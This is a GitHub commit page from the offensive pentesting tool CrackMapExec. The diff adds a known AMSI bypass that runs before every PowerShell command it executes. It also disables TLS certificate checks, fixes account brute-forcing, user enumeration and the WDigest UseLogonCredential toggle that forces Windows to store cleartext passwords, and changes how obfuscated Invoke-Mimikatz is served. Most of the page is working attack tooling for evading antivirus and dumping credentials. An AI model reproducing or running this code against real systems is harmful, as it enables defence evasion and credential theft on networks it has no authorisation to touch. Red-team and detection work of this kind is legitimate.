Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit 6f25969

Browse files
author
byt3bl33d3r
committed
Implemented @mattifestation's AMSI bypass and multiple bugfixes
- @mattifestation's AMSI bypass now gets called before executing powershell commands or scripts - Squashed some bugs related to account bruteforcing, enumerating users and creating/deleting the UseLogonCredential reg key
1 parent 8ddfcb1 commit 6f25969

File tree

5 files changed

+31
-11
lines changed

5 files changed

+31
-11
lines changed

cme/connection.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -211,10 +211,10 @@ def login(self):
211211
if not domain: domain = self.domain
212212
if self.args.domain: domain = self.args.domain
213213

214-
if credtype == 'hash' and not self.over_fail_limit():
214+
if credtype == 'hash' and not self.over_fail_limit(username):
215215
self.hash_login(domain, username, password)
216216

217-
elif credtype == 'plaintext' and not self.over_fail_limit():
217+
elif credtype == 'plaintext' and not self.over_fail_limit(username):
218218
self.plaintext_login(domain, username, password)
219219

220220
except IndexError:

cme/credentials/wdigest.py

Lines changed: 17 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def enable(self):
2222
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
2323
keyHandle = ans['phkResult']
2424

25-
rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, '\x01\x00')
25+
rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
2626

2727
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
2828

@@ -46,15 +46,26 @@ def disable(self):
4646
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
4747
keyHandle = ans['phkResult']
4848

49-
rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
49+
try:
50+
rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
51+
except:
52+
self.logger.success('UseLogonCredential registry key not present')
53+
54+
try:
55+
remoteOps.finish()
56+
except:
57+
pass
58+
59+
return
5060

5161
try:
5262
#Check to make sure the reg key is actually deleted
5363
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
5464
except DCERPCException:
5565
self.logger.success('UseLogonCredential registry key deleted successfully')
66+
67+
try:
68+
remoteOps.finish()
69+
except:
70+
pass
5671

57-
try:
58-
remoteOps.finish()
59-
except:
60-
pass

cme/enum/users.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def enum(self):
6060
rpctransport = transport.DCERPCTransportFactory(stringbinding)
6161
rpctransport.set_dport(self.__port)
6262

63-
if hasattr(rpctransport, setRemoteHost):
63+
if hasattr(rpctransport, 'setRemoteHost'):
6464
rpctransport.setRemoteHost(self.__addr)
6565
if hasattr(rpctransport, 'set_credentials'):
6666
# This method exists only for selected protocol sequences.

cme/helpers.py

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import re
44
import cme
55
import os
6+
import logging
67
from base64 import b64encode
78
from termcolor import colored
89

@@ -43,7 +44,15 @@ def obfs_ps_script(script, function_name=None):
4344
return strippedCode
4445

4546
def create_ps_command(ps_command, force_ps32=False):
46-
ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command
47+
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
48+
try{{
49+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
50+
}}catch{{}}
51+
{}
52+
""".format(ps_command)
53+
54+
logging.debug('Unincoded command:\n' + ps_command)
55+
4756
if force_ps32:
4857
command = """$command = '{}'
4958
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')

cme/modules/mimikatz.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ def on_request(self, context, request):
5555
request.send_response(200)
5656
request.end_headers()
5757

58-
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-Mimikatz.ps1'), 'r') as ps_script:
58+
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
5959
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
6060
request.wfile.write(ps_script)
6161

0 commit comments

Comments
 (0)